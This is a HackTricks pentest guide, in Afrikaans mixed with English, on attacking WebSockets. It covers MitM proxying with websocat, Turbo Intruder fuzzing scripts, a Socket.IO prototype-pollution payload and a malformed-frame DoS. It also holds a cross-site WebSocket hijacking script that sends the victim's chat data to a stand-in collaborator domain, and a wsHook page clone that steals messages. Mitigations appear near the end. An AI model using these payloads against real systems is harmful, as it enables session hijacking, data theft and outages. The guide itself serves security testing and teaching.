WebSocket-aanvalle

Reading time: 15 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is WebSockets

WebSocket-verbindinge word gevestig deur 'n aanvanklike HTTP handshake en is ontwerp om lanklewende te wees, wat tweerigtingboodskappe op enige tyd toelaat sonder die behoefte aan 'n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat lae latensie of bediener-geïnisieerde kommunikasie benodig, soos regstreekse finansiële datastrome.

Vestiging van WebSocket-verbindinge

'n Gedetaileerde verduideliking oor die vestiging van WebSocket-verbindinge is beskikbaar here. In opsomming word WebSocket-verbindinge gewoonlik geïnisieer via client-side JavaScript soos hieronder getoon:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

Die wss-protokol dui op 'n WebSocket-verbinding wat beveilig is met TLS, terwyl ws 'n onbeveiligde verbinding aandui.

Tydens die totstandkoming van die verbinding word 'n handshake tussen die blaaier en die bediener oor HTTP uitgevoer. Die handshake-proses behels dat die blaaier 'n versoek stuur en die bediener reageer, soos geïllustreer in die volgende voorbeelde:

Blaaier stuur 'n handshake-versoek:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Server se handshake response:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Die verbinding bly oop vir boodskapuitruiling in albei rigtings sodra dit ingestel is.

Belangrike punte van die WebSocket-handshake:

  • Die Connection en Upgrade headers dui die inisiasie van 'n WebSocket-handshake aan.
  • Die Sec-WebSocket-Version header dui die verlangde WebSocket-protokolweergawe aan, gewoonlik 13.
  • 'n Base64-geenkodeerde lukrake waarde word in die Sec-WebSocket-Key header gestuur, wat verseker dat elke handshake uniek is en help om probleme met caching proxies te voorkom. Hierdie waarde is nie vir autentisering nie, maar om te bevestig dat die antwoord nie deur 'n foutief gekonfigureerde bediener of cache gegenereer is nie.
  • Die Sec-WebSocket-Accept header in die bediener se antwoord is 'n hash van die Sec-WebSocket-Key, wat die bediener se bedoeling bevestig om 'n WebSocket-verbinding te open.

Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, en baan die weg vir doeltreffende regstreekse kommunikasie.

Linux-konsol

Jy kan websocat gebruik om 'n rou verbinding met 'n websocket te vestig.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Of om 'n websocat-bediener te skep:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket verbindinge

As jy vind dat clients vanaf jou huidige plaaslike netwerk aan 'n HTTP websocket gekoppel is, kan jy 'n ARP Spoofing Attack probeer om 'n MitM attack tussen die client en die server uit te voer.
Sodra die client probeer om met jou te connect, kan jy dan gebruik:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Jy kan die tool https://github.com/PalindromeLabs/STEWS gebruik om outomaties bekende vulnerabilities in websockets te discover, fingerprint en te search.

Websocket Debug tools

  • Burp Suite ondersteun MitM websockets-kommunikasie op 'n baie soortgelyke wyse as wat dit vir gewone HTTP-kommunikasie doen.
  • Die socketsleuth Burp Suite extension sal jou toelaat om Websocket-kommunikasies in Burp beter te bestuur deur die history te kry, interception rules te stel, match and replace reëls te gebruik, en Intruder en AutoRepeater.
  • WSSiP: Short for "WebSocket/Socket.io Proxy", hierdie tool, geskryf in Node.js, bied 'n gebruikerskoppelvlak om capture, intercept, send custom messages te doen en alle WebSocket en Socket.IO kommunikasie tussen kliënt en bediener te besigtig.
  • wsrepl is 'n interactive websocket REPL ontwerp spesifiek vir penetration testing. Dit verskaf 'n koppelvlak om incoming websocket messages and sending new ones waar te neem, met 'n maklik-om-te-gebruik raamwerk vir die automating van hierdie kommunikasie.
  • https://websocketking.com/ dit is 'n web om met ander webs te kommunikeer deur websockets te gebruik.
  • https://hoppscotch.io/realtime/websocket onder andere kommunikasie-/protokolsoorte, verskaf dit 'n web om met ander webs te kommunikeer deur websockets te gebruik.

Websocket ontsleuteling

Websocket Lab

In Burp-Suite-Extender-Montoya-Course het jy 'n kode om 'n web te launch wat websockets gebruik en in this post kan jy 'n verklaring vind.

Websocket Fuzzing

Die Burp extension Backslash Powered Scanner stel nou ook in staat om WebSocket-boodskappe te fuzz. Jy kan meer inligting daaroor lees here.

WebSocket Turbo Intruder (Burp extension)

PortSwigger's WebSocket Turbo Intruder bring Turbo Intruder–styl Python scripting en high‑rate fuzzing na WebSockets. Installeer dit vanaf die BApp Store of vanaf source. Dit sluit twee komponente in:

  • Turbo Intruder: high‑volume messaging na 'n enkele WS endpoint met behulp van custom engines.
  • HTTP Middleware: openbaar 'n plaaslike HTTP-endpoint wat bodies as WS-boodskappe oor 'n bestendige verbinding forwards, sodat enige HTTP‑based scanner WS backends kan probe.

Basiese skrippatroon om 'n WS-endpoint te fuzz en relevante responses te filter:

python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Gebruik dekorateurs soos @MatchRegex(...) om geraas te verminder wanneer 'n enkele boodskap verskeie reaksies uitlok.

Brug WS agter HTTP (HTTP Middleware)

Omsluit 'n permanente WS-verbinding en stuur HTTP-bodies as WS-boodskappe vir geoutomatiseerde toetsing met HTTP-scanners:

python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Stuur dan HTTP plaaslik; die body word as die WS-boodskap deurgestuur:

http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Dit laat jou toe om WS-backends te bestuur terwyl jy filter vir “interessante” events (bv. SQLi errors, auth bypass, command injection behavior).

Socket.IO hantering (handshake, heartbeats, events)

Socket.IO voeg sy eie framing bo-op WS. Detecteer dit via die verpligte query-parameter EIO (bv. EIO=4). Hou die sessie lewend met Ping (2) en Pong (3) en begin die gesprek met "40", en stuur dan events soos 42["message","hello"].

Intruder voorbeeld:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP adapter-variant:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Opsporing van bediener‑kant prototype pollution via Socket.IO

Volg PortSwigger se veilige opsporingstegniek; probeer Express se interne dele besoedel deur 'n payload soos die volgende te stuur:

json
{"__proto__":{"initialPacket":"Polluted"}}

As groete of gedrag verander (bv., echo sluit "Polluted" in), het jy waarskynlik server-side prototypes besoedel. Impak hang af van bereikbare sinks; korreleer met die gadgets in die Node.js prototype pollution afdeling. Sien:

WebSocket race conditions with Turbo Intruder

Die standaard engine groepeer boodskappe op een verbinding (groot throughput, swak vir races). Gebruik die THREADED engine om veelvuldige WS-verbindinge te skep en payloads parallel te stuur om logic races (double‑spend, token reuse, state desync) te trigger. Begin by die voorbeeldskrip en pas concurrency in config() aan.

  • Leer metodologie en alternatiewe in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Skep WS-frames waarvan die header 'n reuse payload-lengte verklaar maar stuur geen body nie. Sommige WS-servers vertrou die lengte en pre‑alloceer buffers; om dit na Integer.MAX_VALUE te stel kan Out‑Of‑Memory veroorsaak en 'n remote unauth DoS. Sien die voorbeeldskrip.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Skakel die WS Logger aan om boodskappe te vang en te korreleer met behulp van internal IDs.
  • Gebruik inc*/dec* helpers op Connection om message ID-hantering in komplekse adapters fyn te stel.
  • Decorators soos @PingPong/@Pong en helpers soos isInteresting() verminder geraas en hou sessies lewendig.

Operational safety

Hoë‑snelheids WS-fuzzing kan baie verbindings oopmaak en duisende boodskappe per sekonde stuur. Malformed frames en hoë snelhede kan werklike DoS veroorsaak. Gebruik slegs waar toegestaan.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, ook bekend as cross-origin WebSocket hijacking, word geïdentifiseer as 'n spesifieke geval van Cross-Site Request Forgery (CSRF) wat WebSocket-handshakes raak. Hierdie kwetsbaarheid ontstaan wanneer WebSocket-handshakes slegs via HTTP cookies geverifieer word sonder CSRF tokens of soortgelyke sekuriteitsmaatreëls.

Aanvallers kan dit uitbuit deur 'n kwaadaardige webblad te host wat 'n cross-site WebSocket-verbinding na 'n kwesbare toepassing begin. Gevolglik word hierdie verbinding as deel van die slagoffer se sessie met die toepassing beskou, en word die gebrek aan CSRF-beskerming in die sessiehantering uitgebuit.

In orde dat hierdie aanval werk, is dit die vereistes:

  • Die websocket authentication must be cookie based
  • Die cookie moet toeganklik wees vanaf die aanvaller's bediener (dit beteken gewoonlik SameSite=None) en geen Firefox Total Cookie Protection in Firefox geaktiveer nie en geen blocked third-party cookies in Chrome nie.
  • Die websocket server mag nie die origin van die verbinding nagaan nie (of dit moet omseilbaar wees)

Ook:

  • As die authentication gebaseer is op 'n plaaslike verbinding (na localhost of na 'n plaaslike netwerk) sal die aanval moontlik wees aangesien geen huidige beskerming dit verbied nie (check more info here)

Simple Attack

Let wel dat wanneer 'n websocket-verbinding opgestel word die cookie aan die server gestuur word. Die server mag dit gebruik om elke spesifieke user met sy websocket session gebaseer op die gestuurde cookie te koppel.

As byvoorbeeld die websocket server die geskiedenis van die gesprek van 'n gebruiker terugstuur wanneer 'n msg met "READY" gestuur word, dan sal 'n simple XSS wat die verbinding vestig (die cookie sal outomaties gestuur word om die slagoffer te autoriseer) deur "READY" te stuur, in staat wees om die geskiedenis van die gesprek te herwin.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie with a different subdomain

In hierdie blogpost https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ het die aanvaller daarin geslaag om execute arbitrary Javascript in a subdomain van die domein waar die websocket-communicatie plaasgevind het. Omdat dit 'n subdomain was, is die cookie gestuur, en omdat die Websocket die Origin nie behoorlik geverifieer het nie, was dit moontlik om daarmee te kommunikeer en steal tokens from it.

Stealing data from user

Kopieer die web application wat jy wil naboots (die .html files byvoorbeeld) en binne die script waar die websocket communication plaasvind voeg hierdie kode by:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Laai nou die wsHook.js lêer af van https://github.com/skepticfx/wshook en stoor dit binne die vouer met die web-lêers.
Deur die webtoepassing bloot te stel en 'n gebruiker daarmee te laat koppel, kan jy die gestuurde en ontvangde boodskappe via websocket steel:

javascript
sudo python3 -m http.server 80

CSWSH Beskerming

Die CSWSH-aanval berus op die feit dat 'n gebruiker na 'n kwaadwillige bladsy sal koppel wat 'n websocket connection na 'n webblad sal open waarop die gebruiker reeds verbind is, en as die versoek die gebruiker se cookies stuur, sal dit as die gebruiker autentiseer.

Nou is dit baie maklik om hierdie probleem te voorkom:

  • Websocket server checking the origin: Die websocket-server moet altyd nagaan vanaf waar 'n gebruiker verbind om te verhoed dat onverwagte bladsye daaraan koppel.
  • Authentication token: In plaas daarvan om die autentisering op 'n cookie te baseer, kan die websocket-verbinding op 'n token gebaseer wees wat deur die server vir die gebruiker gegenereer word en wat die aanvaller nie ken nie (soos 'n anti-CSRF token).
  • SameSite Cookie attribute: Cookies met SameSite-waarde Lax of Strict sal nie vanaf 'n eksterne aanvaller se bladsy na die slagoffer-bediener gestuur word nie; daarom sal cookie-gebaseerde autentisering nie suksesvol wees nie. Let daarop dat Chrome nou die waarde Lax op cookies plaas wat sonder hierdie vlag gespesifiseer is, wat dit standaard veiliger maak. Alhoewel, die eerste 2 minute nadat 'n cookie geskep is sal dit die waarde None hê, wat dit in daardie beperkte periode kwesbaar maak (dit word ook verwag dat hierdie maatreël op 'n stadium verwyder sal word).
  • Firefox Total Cookie Protection: Total Cookie Protection werk deur cookies te isoleer tot die site waarin hulle geskep is. Essensieel het elke site sy eie cookie-bewaarpartisie om te verhoed dat derde partye 'n gebruiker se blaai-geskiedenis kan koppel. Dit maak CSWSH unusable aangesien die aanvaller se site nie toegang tot die cookies sal hê nie.
  • Chrome third-party cookies block: Dit kan ook verhoed dat die cookie van die geauthentiseerde gebruiker aan die websocket-server gestuur word selfs met SameSite=None.

Race Conditions

Race Conditions in WebSockets kom ook voor — kry meer inligting hieroor om meer te leer.

Other vulnerabilities

Aangesien Web Sockets 'n meganisme is om data na die server- en kliëntekant te stuur, kan, afhangend van hoe die server en kliënt die inligting hanteer, Web Sockets gebruik word om verskeie ander kwetsbaarhede soos XSS, SQLi of enige ander common web vuln te eksploiteer deur invoer van 'n gebruiker via 'n websocket.

WebSocket Smuggling

Hierdie kwetsbaarheid kan toelaat dat jy reverse proxies restrictions omseil deur hulle te laat glo dat 'n websocket communication was established (selfs al is dit nie waar nie). Dit kan 'n aanvaller toelaat om hidden endpoints te bereik. Vir meer inligting kyk na die volgende bladsy:

Upgrade Header Smuggling

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks